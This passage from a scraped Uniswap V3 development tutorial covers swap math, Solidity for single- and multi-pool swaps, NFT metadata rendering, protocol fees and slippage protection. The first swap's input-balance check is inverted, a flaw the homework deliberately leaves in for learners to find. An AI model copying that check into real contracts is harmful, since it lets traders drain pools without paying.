5604469350942327889444743441197 # New tick: 85184 After finding the target price, we can calculate token amounts using the amounts calculation functions from a previous chapter: $$ x = \\frac{L(\\sqrt{p_b}-\\sqrt{p_a})}{\\sqrt{p_b}\\sqrt{p_a}}$$ $$ y = L(\\sqrt{p_b}-\\sqrt{p_a}) $$ In Python: amount_in = calc_amount1(liq, price_next, sqrtp_cur) amount_out = calc_amount0(liq, price_next, sqrtp_cur) print( \"USDC in:\" , amount_in / eth) print( \"ETH out:\" , amount_out / eth) # USDC in: 42.0 # ETH out: 0.008396714242162444 To verify the amounts, lets recall another formula: $$\\Delta x = \\Delta \\frac{1}{\\sqrt{P}} L$$ Using this formula, we can find the amount of ETH were buying, $\\Delta x$, knowing the price change, $\\Delta\\frac{1}{\\sqrt{P}}$, and liquidity $L$. Be careful though: $\\Delta \\frac{1}{\\sqrt{P}}$ is not $\\frac{1}{\\Delta \\sqrt{P}}$! The former is the change of the price of ETH, and it can be found using this expression: $$\\Delta \\frac{1}{\\sqrt{P}} = \\frac{1}{\\sqrt{P_{target}}} - \\frac{1}{\\sqrt{P_{current}}}$$ Luckily, we already know all the values, so we can plug them in right away (this might not fit on your screen!): $$\\Delta \\frac{1}{\\sqrt{P}} = \\frac{1}{5604469350942327889444743441197} - \\frac{1}{5602277097478614198912276234240}$$ $$= -6.982190286589445\\text{e-}35 * 2^{96} $$ $$= -0.00000553186106731426$$ Now, lets find $\\Delta x$: $$\\Delta x = -0.00000553186106731426 * 1517882343751509868544 = -8396714242162698 $$ Which is 0.008396714242162698 ETH, and its very close to the amount we found above! Notice that this amount is negative since were removing it from the pool. Implementing a Swap # Swapping is implemented in swap function: function swap ( address recipient) public returns ( int256 amount0, int256 amount1) { ... At this moment, it only takes a recipient, who is a receiver of tokens. First, we need to find the target price and tick, as well as calculate the token amounts. Again, well simply hard code the values we calculated earlier to keep things as simple as possible: ... int24 nextTick = 85184 ; uint160 nextPrice = 5604469350942327889444743441197 ; amount0 = - 0 . 008396714242162444 ether ; amount1 = 42 ether ; ... Next, we need to update the current tick and sqrtP since trading affects the current price: ... (slot0.tick, slot0.sqrtPriceX96) = (nextTick, nextPrice); ... Next, the contract sends tokens to the recipient and lets the caller transfer the input amount into the contract: ... IERC20(token0).transfer(recipient, uint256 ( - amount0)); uint256 balance1Before = balance1(); IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback( amount0, amount1 ); if (balance1Before + uint256 (amount1) < balance1()) revert InsufficientInputAmount(); ... Again, were using a callback to pass the control to the caller and let it transfer the tokens. After that, were checking that pools balance is correct and includes the input amount. Finally, the contract emits a Swap event to make the swap discoverable. The event includes all the information about the swap: ... emit Swap( msg.sender, recipient, amount0, amount1, slot0.sqrtPriceX96, liquidity, slot0.tick ); And thats it! The function simply sends some amount of tokens to the specified recipient address and expects a certain number of the other token in exchange. Throughout this book, the function will get much more complicated. Testing Swapping # Now, we can test the swap function. In the same test file, create testSwapBuyEth function and set up the test case. This test case uses the same parameters as testMintSuccess : function testSwapBuyEth () public { TestCaseParams memory params = TestCaseParams({ wethBalance : 1 ether , usdcBalance : 5000 ether , currentTick : 85176 , lowerTick : 84222 , upperTick : 86129 , liquidity : 1517882343751509868544 , currentSqrtP : 5602277097478614198912276234240 , shouldTransferInCallback : true , mintLiqudity : true }); ( uint256 poolBalance0, uint256 poolBalance1) = setupTestCase(params); ... Next steps will be different, however. Were not going to test that liquidity has been correctly added to the pool since we tested this functionality in the other test cases. To make the test swap, we need 42 USDC: token1.mint( address (this), 42 ether ); Before making the swap, we need to ensure we can transfer tokens to the pool contract when it requests them: function uniswapV3SwapCallback ( int256 amount0, int256 amount1) public { if (amount0 > 0 ) { token0.transfer(msg.sender, uint256 (amount0)); } if (amount1 > 0 ) { token1.transfer(msg.sender, uint256 (amount1)); } } Since amounts during a swap can be positive (the amount thats sent to the pool) and negative (the amount thats taken from the pool), in the callback, we only want to send the positive amount, i.e. the amount were trading in. Now, we can call swap : ( int256 amount0Delta, int256 amount1Delta) = pool.swap( address (this)); The function returns token amounts used in the swap, and we can check them right away: assertEq(amount0Delta, - 0 . 008396714242162444 ether , \"invalid ETH out\" ); assertEq(amount1Delta, 42 ether , \"invalid USDC in\" ); Then, we need to ensure that tokens were actually transferred from the caller: assertEq( token0.balanceOf( address (this)), uint256 (userBalance0Before - amount0Delta), \"invalid user ETH balance\" ); assertEq( token1.balanceOf( address (this)), 0 , \"invalid user USDC balance\" ); And sent to the pool contract: assertEq( token0.balanceOf( address (pool)), uint256 ( int256 (poolBalance0) + amount0Delta), \"invalid pool ETH balance\" ); assertEq( token1.balanceOf( address (pool)), uint256 ( int256 (poolBalance1) + amount1Delta), \"invalid pool USDC balance\" ); Finally, were checking that the pool state was updated correctly: ( uint160 sqrtPriceX96, int24 tick) = pool.slot0(); assertEq( sqrtPriceX96, 5604469350942327889444743441197 , \"invalid current sqrtP\" ); assertEq(tick, 85184 , \"invalid current tick\" ); assertEq( pool.liquidity(), 1517882343751509868544 , \"invalid current liquidity\" ); Notice that swapping doesnt change the current liquidityin a later chapter, well see when it does change it. Homework # Write a test that fails with InsufficientInputAmount error. Keep in mind that theres a hidden bug \\[ \\] First Swap Calculating Swap Amounts Implementing a Swap Testing Swapping Homework", "labels": ["Documentation"]}, {"title": "Multi-pool Swaps #", "html_url": "https://uniswapv3book.com/docs/milestone_4/multi-pool-swaps/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Multi-pool Swaps Multi-pool Swaps Updating Manager Contract Single-pool and Multi-pool Swaps Core Swapping Logic Single-pool Swapping Multi-pool Swapping Swap Callback Updating Quoter Contract Single-pool Quoting Multi-pool Quoting Multi-pool Swaps # Were now proceeding to the core of this milestoneimplementing multi-pool swaps in our contracts. We wont touch Pool contract in this milestone because its a core contract that should implement only core features. Multi-pool swaps is a utility feature, and well implement it in Manager and Quoter contracts. Updating Manager Contract # Single-pool and Multi-pool Swaps # In our current implementation, swap function in Manager contract supports only single-pool swaps and takes pool address in parameters: function swap ( address poolAddress_, bool zeroForOne, uint256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) public returns ( int256 , int256 ) { ... } Were going to split it into two functions: single-pool swap and multi-pool swap. These functions will have different set of parameters: struct SwapSingleParams { address tokenIn; address tokenOut; uint24 tickSpacing; uint256 amountIn; uint160 sqrtPriceLimitX96; } struct SwapParams { bytes path; address recipient; uint256 amountIn; uint256 minAmountOut; } SwapSingleParams takes pool parameters, input amount, and a limiting pricethis is pretty much identical to what we had before. Notice, that data is no longer required. SwapParams takes path, output amount recipient, input amount, and minimal output amount. The latter parameter replaces sqrtPriceLimitX96 because, when doing multi-pool swaps, we cannot use the slippage protection from Pool contract (which uses a limiting price). We need to implement another slippage protection, which checks the final output amount and compares it with minAmountOut : the slippage protection fails when the final output amount is smaller than minAmountOut . Core Swapping Logic # Lets implement an internal _swap function that will be called by both single- and multi-pool swap functions. Itll prepare parameters and call Pool.swap . function _swap ( uint256 amountIn, address recipient, uint160 sqrtPriceLimitX96, SwapCallbackData memory data ) internal returns ( uint256 amountOut) { ... SwapCallbackData is a new data structure that contains data we pass between swap functions and uniswapV3SwapCallback : struct SwapCallbackData { bytes path; address payer; } path is a swap path and payer is the address that provides input tokens in swapswell have different payers during multi-pool swaps. First thing we do in _swap , is extracting pool parameters using Path library: // function _swap(...) { ( address tokenIn, address tokenOut, uint24 tickSpacing) = data .path .decodeFirstPool(); Then we identify swap direction: bool zeroForOne = tokenIn < tokenOut; Then we make the actual swap: // function _swap(...) { ( int256 amount0, int256 amount1) = getPool( tokenIn, tokenOut, tickSpacing ).swap( recipient, zeroForOne, amountIn, sqrtPriceLimitX96 == 0 ? ( zeroForOne ? TickMath.MIN_SQRT_RATIO + 1 : TickMath.MAX_SQRT_RATIO - 1 ) : sqrtPriceLimitX96, abi.encode(data) ); This piece is identical to what we had before but this time were calling getPool to find the pool. getPool is a function that sorts tokens and calls PoolAddress.computeAddress : function getPool ( address token0, address token1, uint24 tickSpacing ) internal view returns (IUniswapV3Pool pool) { (token0, token1) = token0 < token1 ? (token0, token1) : (token1, token0); pool = IUniswapV3Pool( PoolAddress.computeAddress(factory, token0, token1, tickSpacing) ); } After making a swap, we need to figure out which of the amounts is the output one: // function _swap(...) { amountOut = uint256 ( - (zeroForOne ? amount1 : amount0)); And thats it. Lets now look at how single-pool swap works. Single-pool Swapping # swapSingle acts simply as a wrapper of _swap : function swapSingle (SwapSingleParams calldata params) public returns ( uint256 amountOut) { amountOut = _swap( params.amountIn, msg.sender, params.sqrtPriceLimitX96, SwapCallbackData({ path : abi.encodePacked( params.tokenIn, params.tickSpacing, params.tokenOut ), payer : msg.sender }) ); } Notice that were building a one-pool path here: single-pool swap is a multi-pool swap with one pool . Multi-pool Swapping # Multi-pool swapping is only slightly more difficult than single-pool swapping. Lets look at it: function swap (SwapParams memory params) public returns ( uint256 amountOut) { address payer = msg.sender; bool hasMultiplePools; ... First swap is paid by user because its user who provides input tokens. Then, we start iterating over pools in the path: ... while ( true ) { hasMultiplePools = params.path.hasMultiplePools(); params.amountIn = _swap( params.amountIn, hasMultiplePools ? address (this) : params.recipient, 0 , SwapCallbackData({ path : params.path.getFirstPool(), payer : payer }) ); ... In each iteration, were calling _swap with these parameters: params.amountIn tracks input amounts. During the first swap its the amount provided by user. During next swaps its the amounts returned from previous swaps. hasMultiplePools ? address(this) : params.recipient if there are multiple pools in the path, recipient is the manager contract, itll store tokens between swaps. If theres only one pool (last one) in the path, recipient is the one specified in the parameters (usually the same user that initiates the swap). sqrtPriceLimitX96 is set to 0 to disable slippage protection in the Pool contract. Last parameter is what we pass to uniswapV3SwapCallback well look at it shortly. After making one swap, we need to proceed to next pool in a path or return: ... if (hasMultiplePools) { payer = address (this); params.path = params.path.skipToken(); } else { amountOut = params.amountIn; break ; } } This is where were changing payer and removing a processed pool from the path. Finally, the new slippage protection: if (amountOut < params.minAmountOut) revert TooLittleReceived(amountOut); Swap Callback # Lets look at the updated swap callback: function uniswapV3SwapCallback ( int256 amount0, int256 amount1, bytes calldata data_ ) public { SwapCallbackData memory data = abi.decode(data_, (SwapCallbackData)); ( address tokenIn, address tokenOut, ) = data.path.decodeFirstPool(); bool zeroForOne = tokenIn < tokenOut; int256 amount = zeroForOne ? amount0 : amount1; if (data.payer == address (this)) { IERC20(tokenIn).transfer(msg.sender, uint256 (amount)); } else { IERC20(tokenIn).transferFrom( data.payer, msg.sender, uint256 (amount) ); } } The callback expects encoded SwapCallbackData with path and payer address. It extracts pool tokens from the path, figures out swap direction ( zeroForOne ), and the amount the contract needs to transfer out. Then, it acts differently depending on payer address: If payer is the current contract (this is so when making consecutive swaps), it transfers tokens to the next pool (the one that called this callback) from current contracts balance. If payer is a different address (the user that initiated the swap), it transfers tokens from users balance. Updating Quoter Contract # Quoter is another contract that needs to be updated because we want to use it to also find output amounts in multi-pool swaps. Similarly to Manager, well have two variants of quote function: single-pool and multi-pool one. Lets look at the former first. Single-pool Quoting # We need to make only a couple of changes in our current quote implementation: rename it to quoteSingle ; extract parameters into a struct (this is mostly a cosmetic change); instead of a pool address, take two token addresses and a tick spacing in the parameters. // src/UniswapV3Quoter.sol struct QuoteSingleParams { address tokenIn; address tokenOut; uint24 tickSpacing; uint256 amountIn; uint160 sqrtPriceLimitX96; } function quoteSingle (QuoteSingleParams memory params) public returns ( uint256 amountOut, uint160 sqrtPriceX96After, int24 tickAfter ) { ... And the only change we have in the body of the function is usage of getPool to find the pool address: ... IUniswapV3Pool pool = getPool( params.tokenIn, params.tokenOut, params.tickSpacing ); bool zeroForOne = params.tokenIn < params.tokenOut; ... Multi-pool Quoting # Multi-pool quoting implementation is similar to the multi-pool swapping one, but it uses fewer parameters. function quote ( bytes memory path, uint256 amountIn) public returns ( uint256 amountOut, uint160 [] memory sqrtPriceX96AfterList, int24 [] memory tickAfterList ) { sqrtPriceX96AfterList = new uint160 [](path.numPools()); tickAfterList = new int24 [](path.numPools()); ... As parameters, we only need input amount and swap path. The function returns similar values as quoteSingle , but price after and tick after are collected after each swap, thus we need to returns arrays. uint256 i = 0 ; while ( true ) { ( address tokenIn, address tokenOut, uint24 tickSpacing) = path .decodeFirstPool(); ( uint256 amountOut_, uint160 sqrtPriceX96After, int24 tickAfter ) = quoteSingle( QuoteSingleParams({ tokenIn : tokenIn, tokenOut : tokenOut, tickSpacing : tickSpacing, amountIn : amountIn, sqrtPriceLimitX96 : 0 }) ); sqrtPriceX96AfterList[i] = sqrtPriceX96After; tickAfterList[i] = tickAfter; amountIn = amountOut_; i ++ ; if (path.hasMultiplePools()) { path = path.skipToken(); } else { amountOut = amountIn; break ; } } The logic of the loop is identical to the one in the updated swap function: get current pools parameters; call quoteSingle on current pool; save returned values; repeat if therere more pools in the path, or return otherwise. Multi-pool Swaps Updating Manager Contract Single-pool and Multi-pool Swaps Core Swapping Logic Single-pool Swapping Multi-pool Swapping Swap Callback Updating Quoter Contract Single-pool Quoting Multi-pool Quoting", "labels": ["Documentation"]}, {"title": "NFT Renderer #", "html_url": "https://uniswapv3book.com/docs/milestone_6/nft-renderer/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer NFT Renderer NFT Renderer SVG Template Dependencies Format of the Result Implementing the Renderer SVG Rendering JSON Rendering Filling the Gap in tokenURI Gas Costs Testing NFT Renderer # Now we need to build an NFT renderer: a library that will handle calls to tokenURI in the NFT manager contract. It will render JSON metadata and an SVG for each minted token. As we discussed earlier, well use the data URI format, which requires base64 encodingthis means well need a base64 encoder in Solidity. But first, lets look at what our tokens will look like. SVG Template # I built this simplified variation of the Uniswap V3 NFTs: This is what its code looks like; WETH/USDC 0.05% Lower tick: 123456 Upper tick: 123456 This is a simple SVG template, and were going to make a Solidity contract that fills the fields in this template and returns it in tokenURI . The fields that will be filled uniquely for each token: the color of the background, which is set in the first two rect s; the hue component (330 in the template) will be unique for each token; the names of the tokens of a pool the position belongs to (WETH/USDC in the template); the fee of a pool (0.05%); tick values of the boundaries of the position (123456). Here are examples of NFTs our contract will be able to produce: Dependencies # Solidity doesnt provide native Base64 encoding tool so well use a third-party one. Specifically, well use the one from OpenZeppelin . Another tedious thing about Solidity is that is has very poor support for operations with strings. For example, theres no way to convert integers to stringsbut we need that to render pool fee and position ticks in the SVG template. Well use the Strings library from OpenZeppelin to do that. Format of the Result # The data produced by the renderer will have this format: data:application/json;base64,BASE64_ENCODED_JSON The JSON will look like that: { \"name\" : \"Uniswap V3 Position\" , \"description\" : \"USDC/DAI 0.05%, Lower tick: -520, Upper text: 490\" , \"image\" : \"BASE64_ENCODED_SVG\" } The image will be the above SVG template filled with position data and encoded in Base64. Implementing the Renderer # Well implement the renderer in a separate library contract to not make the NFT manager contract too noisy: library NFTRenderer { struct RenderParams { address pool; address owner; int24 lowerTick; int24 upperTick; uint24 fee; } function render (RenderParams memory params) { ... } } In the render function, well first render an SVG, then a JSON. To keep the code cleaner, well break down each step into smaller steps. We begin with fetching token symbols: function render (RenderParams memory params) { IUniswapV3Pool pool = IUniswapV3Pool(params.pool); IERC20 token0 = IERC20(pool.token0()); IERC20 token1 = IERC20(pool.token1()); string memory symbol0 = token0.symbol(); string memory symbol1 = token1.symbol(); ... SVG Rendering # Then we can render the SVG template: string memory image = string .concat( \"\" , \"\" , renderBackground(params.owner, params.lowerTick, params.upperTick), renderTop(symbol0, symbol1, params.fee), renderBottom(params.lowerTick, params.upperTick), \"\" ); The template is broken down into multiple steps: first comes the header, which includes the CSS styles; then the background is rendered; then the top position information is rendered (token symbols and fee); finally, the bottom information is rendered (position ticks). The background is simply two rect s. To render them we need to find the unique hue of this token and then we concatenate all the pieces together: function renderBackground ( address owner, int24 lowerTick, int24 upperTick ) internal pure returns ( string memory background) { bytes32 key = keccak256(abi.encodePacked(owner, lowerTick, upperTick)); uint256 hue = uint256 (key) % 360 ; background = string .concat( '' , '' ); } The top template renders token symbols and pool fee: function renderTop ( string memory symbol0, string memory symbol1, uint24 fee ) internal pure returns ( string memory top) { top = string .concat( '' , '' , symbol0, \"/\" , symbol1, \"\" '' , '' , feeToText(fee), \"\" ); } Fees are rendered as numbers with a fractional part. Since all possible fees are known in advance we dont need to convert integers to fractional numbers and can simply hardcode the values: function feeToText ( uint256 fee) internal pure returns ( string memory feeString) { if (fee == 500 ) { feeString = \"0.05%\" ; } else if (fee == 3000 ) { feeString = \"0.3%\" ; } } In the bottom part we render position ticks: function renderBottom ( int24 lowerTick, int24 upperTick) internal pure returns ( string memory bottom) { bottom = string .concat( '' , 'Lower tick: ' , tickToText(lowerTick), \"\" , '' , 'Upper tick: ' , tickToText(upperTick), \"\" ); } Since ticks can be positive and negative, we need to render them properly (with or without the minus sign): function tickToText ( int24 tick) internal pure returns ( string memory tickString) { tickString = string .concat( tick < 0 ? \"-\" : \"\" , tick < 0 ? Strings.toString( uint256 ( uint24 ( - tick))) : Strings.toString( uint256 ( uint24 (tick))) ); } JSON Rendering # Now, lets return to the render function and render the JSON. First, we need to render a token description: function render (RenderParams memory params) { ... SVG rendering ... string memory description = renderDescription( symbol0, symbol1, params.fee, params.lowerTick, params.upperTick ); ... Token description is a text string that contains all the same information that we render in tokens SVG: function renderDescription ( string memory symbol0, string memory symbol1, uint24 fee, int24 lowerTick, int24 upperTick ) internal pure returns ( string memory description) { description = string .concat( symbol0, \"/\" , symbol1, \" \" , feeToText(fee), \", Lower tick: \" , tickToText(lowerTick), \", Upper text: \" , tickToText(upperTick) ); } We can now assemble the JSON metadata: function render (RenderParams memory params) { string memory image = ...SVG rendering... string memory description = ...description rendering... string memory json = string .concat( '{\"name\":\"Uniswap V3 Position\",' , '\"description\":\"' , description, '\",' , '\"image\":\"data:image/svg+xml;base64,' , Base64.encode( bytes (image)), '\"}' ); And, finally, we can return the result: return string .concat( \"data:application/json;base64,\" , Base64.encode( bytes (json)) ); Filling the Gap in tokenURI # Now were ready to return to the tokenURI function in the NFT manager contract and add the actual rendering: function tokenURI ( uint256 tokenId) public view override returns ( string memory ) { TokenPosition memory tokenPosition = positions[tokenId]; if (tokenPosition.pool == address ( 0x00 )) revert WrongToken(); IUniswapV3Pool pool = IUniswapV3Pool(tokenPosition.pool); return NFTRenderer.render( NFTRenderer.RenderParams({ pool : tokenPosition.pool, owner : address (this), lowerTick : tokenPosition.lowerTick, upperTick : tokenPosition.upperTick, fee : pool.fee() }) ); } Gas Costs # With all its benefits, storing data on-chain has a huge disadvantage: contract deployments become very expensive. When deploying a contract, you pay for the size of the contract, and all the strings and templates increase gas spending significantly. This gets even worse the more advanced your SVGs are: the more there are shapes, CSS styles, animations, etc. the more expensive it gets. Keep in mind that the NFT renderer we implemented above is not gas optimized: you can see the repetitive rect and text tag strings that can be extracted into internal functions. I sacrificed gas efficiency for the readability of the contract. In real NFT projects that store all data on-chain, code readability is usually very poor due to heavy gas cost optimizations. Testing # The last thing I wanted to focus here is how we can test the NFT images. Its very important to keep all changes in NFT images tracked to ensure no change breaks rendering. For this, we need a way to test the output of tokenURI and its different variations (we can even pre-render the whole collection and have tests to ensure no image get broken during development). To test the output of tokenURI , I added this custom assertion: assertTokenURI( nft.tokenURI(tokenId0), \"tokenuri0\" , \"invalid token URI\" ); The first argument is the actual output and the second argument is the name of the file that stores the expected one. The assertion loads the content of the file and compares it with the actual one: function assertTokenURI ( string memory actual, string memory expectedFixture, string memory errMessage ) internal { string memory expected = vm.readFile( string .concat( \"./test/fixtures/\" , expectedFixture) ); assertEq(actual, string (expected), errMessage); } We can do this in Solidity thanks to the vm.readFile() cheat code provided by forge-std library, which is a helper library that comes with Forge. Not only this is simple and convenient, this is also secure: we can configure filesystem permissions to allow only permitted file operations. Specifically, to make the above test work, we need to add this fs_permissions rule to foundry.toml : fs_permissions = [{ access = 'read' , path = '.' }] And this is how you can read the SVG from a tokenURI fixture: $ cat test/fixtures/tokenuri0 \\ | awk -F ',' '{print $2}' \\ | base64 -d - \\ | jq -r .image \\ | awk -F ',' '{print $2}' \\ | base64 -d - > nft.svg \\ && open nft.svg Ensure you have jq tool installed. NFT Renderer SVG Template Dependencies Format of the Result Implementing the Renderer SVG Rendering JSON Rendering Filling the Gap in tokenURI Gas Costs Testing", "labels": ["Documentation"]}, {"title": "Protocol Fees #", "html_url": "https://uniswapv3book.com/docs/milestone_5/protocol-fees/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Protocol Fees Protocol Fees Protocol Fees # While working on the Uniswap implementation, youve probably asked yourself, How does Uniswap make money? Well, it doesnt (at least as of September 2022). In the implementation weve built so far, traders pay liquidity providers for providing liquidity, and Uniswap Labs, as the company that developed the DEX, is not part of this process. Neither traders, nor liquidity providers pay Uniswap Labs for using the Uniswap DEX. How come? In fact, theres a way for Uniswap Labs to start making money on the DEX. However, the mechanism hasnt been enabled yet (again, as of September 2022). Each Uniswap pool has protocol fees collection mechanism. Protocol fees are collected from swap fees: a small portion of swap fees is subtracted and saved as protocol fees to later be collected by Factory contract owner (Uniswap Labs). The size of protocol fees is expected to be determined by UNI token holders, but it must be between $1/4$ and $1/10$ (inclusive) of swap fees. For brevity, were not going to add protocol fees to our implementation, but lets see how theyre implemented in Uniswap. Protocol fee size is stored in slot0 : // UniswapV3Pool.sol struct Slot0 { ... // the current protocol fee as a percentage of the swap fee taken on withdrawal // represented as an integer denominator (1/x)% uint8 feeProtocol; ... } And a global accumulator is needed to track accrued fees: // accumulated protocol fees in token0/token1 units struct ProtocolFees { uint128 token0; uint128 token1; } ProtocolFees public override protocolFees; Protocol fees are set in the setFeeProtocol function: function setFeeProtocol ( uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner { require( (feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10 )) && (feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10 )) ); uint8 feeProtocolOld = slot0.feeProtocol; slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4 ); emit SetFeeProtocol(feeProtocolOld % 16 , feeProtocolOld >> 4 , feeProtocol0, feeProtocol1); } As you can see, its allowed to set protocol fees separate for each of the tokens. The values are two uint8 that are packed to be stored in one uint8 : feeProtocol1 is shifted to the left by 4 bits (this is identical to multiplying it by 16) and added to feeProtocol0 . To unpack feeProtocol0 , a remainder of division slot0.feeProtocol by 16 is taken; feeProtocol1 is simply shifting slot0.feeProtocol to the right by 4 bits. Such packing works because neither feeProtocol0 , nor feeProtocol1 can be greater than 10. Before beginning a swap, we need to choose one of the protocol fees depending on swap direction (swap and protocol fees are collected on input tokens): function swap (...) { ... uint8 feeProtocol = zeroForOne ? (slot0_.feeProtocol % 16 ) : (slot0_.feeProtocol >> 4 ); ... To accrue protocol fees, we subtract them from swap fees right after computing swap step amounts: ... while (...) { (..., step.feeAmount) = SwapMath.computeSwapStep(...); if (cache.feeProtocol > 0 ) { uint256 delta = step.feeAmount / cache.feeProtocol; step.feeAmount -= delta; state.protocolFee += uint128 (delta); } ... } ... After a swap is done, the global protocol fees accumulator needs to be updated: if (zeroForOne) { if (state.protocolFee > 0 ) protocolFees.token0 += state.protocolFee; } else { if (state.protocolFee > 0 ) protocolFees.token1 += state.protocolFee; } Finally, Factory contract owner can collect accrued protocol fees by calling collectProtocol : function collectProtocol ( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external override lock onlyFactoryOwner returns ( uint128 amount0, uint128 amount1) { amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested; amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested; if (amount0 > 0 ) { if (amount0 == protocolFees.token0) amount0 -- ; protocolFees.token0 -= amount0; TransferHelper.safeTransfer(token0, recipient, amount0); } if (amount1 > 0 ) { if (amount1 == protocolFees.token1) amount1 -- ; protocolFees.token1 -= amount1; TransferHelper.safeTransfer(token1, recipient, amount1); } emit CollectProtocol(msg.sender, recipient, amount0, amount1); } \\[ \\] Protocol Fees", "labels": ["Documentation"]}, {"title": "Slippage Protection #", "html_url": "https://uniswapv3book.com/docs/milestone_3/slippage-protection/", "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Slippage Protection Slippage Protection Slippage Protection in Swaps Slippage Protection in Minting Slippage Protection # Slippage is a very important issued in decentralized exchanges. Slippage simply means the difference between the price that you see on the screen when initialing a transaction and the actual price the swap is executed at. This difference appears because theres a short (and sometimes long, depending on network congestion and gas costs) delay between when you send a transaction and when it gets mined. In more technical terms, blockchain state changes every block and theres no guarantee that your transaction will be applied at a specific block. Another important problem that slippage protection fixes is sandwich attacks this is a common type of attacks on decentralized exchange users. During sandwiching, attackers wrap your swap transactions in their two transactions: one goes before your transaction and the other goes after it. In the first transaction, an attacker modifier the state of a pool so that your swap becomes very unprofitable for you and somewhat profitable for the attacker. This is achieved by adjusting pool liquidity so that your trade happens at a lower price. In the second transaction, the attacker reestablishes pool liquidity and the price. As a result, you get much less tokens than expected due to manipulated prices, and the attacker get some profit. The way slippage protection is implemented in decentralized exchanges is by letting user choose how far the actual price is allowed to drop. By default, Uniswap V3 sets slippage tolerance to 0.1%, which means a swap is executed only if the price at the moment of execution is not smaller than 99.9% of the price the user saw in the browser. This is a very tight range and users are allowed to adjust this number, which is useful when volatility is high. Lets add slippage protection to our implementation! Slippage Protection in Swaps # To protect swaps, we need to add one more parameter to swap functionwe want to let user choose a stop price, a price at which swapping will stop. Well call the parameter sqrtPriceLimitX96 : function swap ( address recipient, bool zeroForOne, uint256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) public returns ( int256 amount0, int256 amount1) { ... if ( zeroForOne ? sqrtPriceLimitX96 > slot0_.sqrtPriceX96 || sqrtPriceLimitX96 < TickMath.MIN_SQRT_RATIO : sqrtPriceLimitX96 < slot0_.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MAX_SQRT_RATIO ) revert InvalidPriceLimit(); ... When selling token $x$ ( zeroForOne is true), sqrtPriceLimitX96 must be between the current price and the minimal $\\sqrt{P}$ since selling token $x$ moves the price down. Likewise, when selling token $y$, sqrtPriceLimitX96 must be between the current price and the maximal $\\sqrt{P}$ because price moves up. In the while loop, we want to satisfy two conditions: full swap amount has not been filled and current price isnt equal to sqrtPriceLimitX96 : .. while ( state.amountSpecifiedRemaining > 0 && state.sqrtPriceX96 != sqrtPriceLimitX96 ) { ... Which means that Uniswap V3 pools dont fail when slippage tolerance gets hit and simply executes swap partially. Another place where we need to consider sqrtPriceLimitX96 is when calling SwapMath.computeSwapStep : (state.sqrtPriceX96, step.amountIn, step.amountOut) = SwapMath .computeSwapStep( state.sqrtPriceX96, ( zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96 ) ? sqrtPriceLimitX96 : 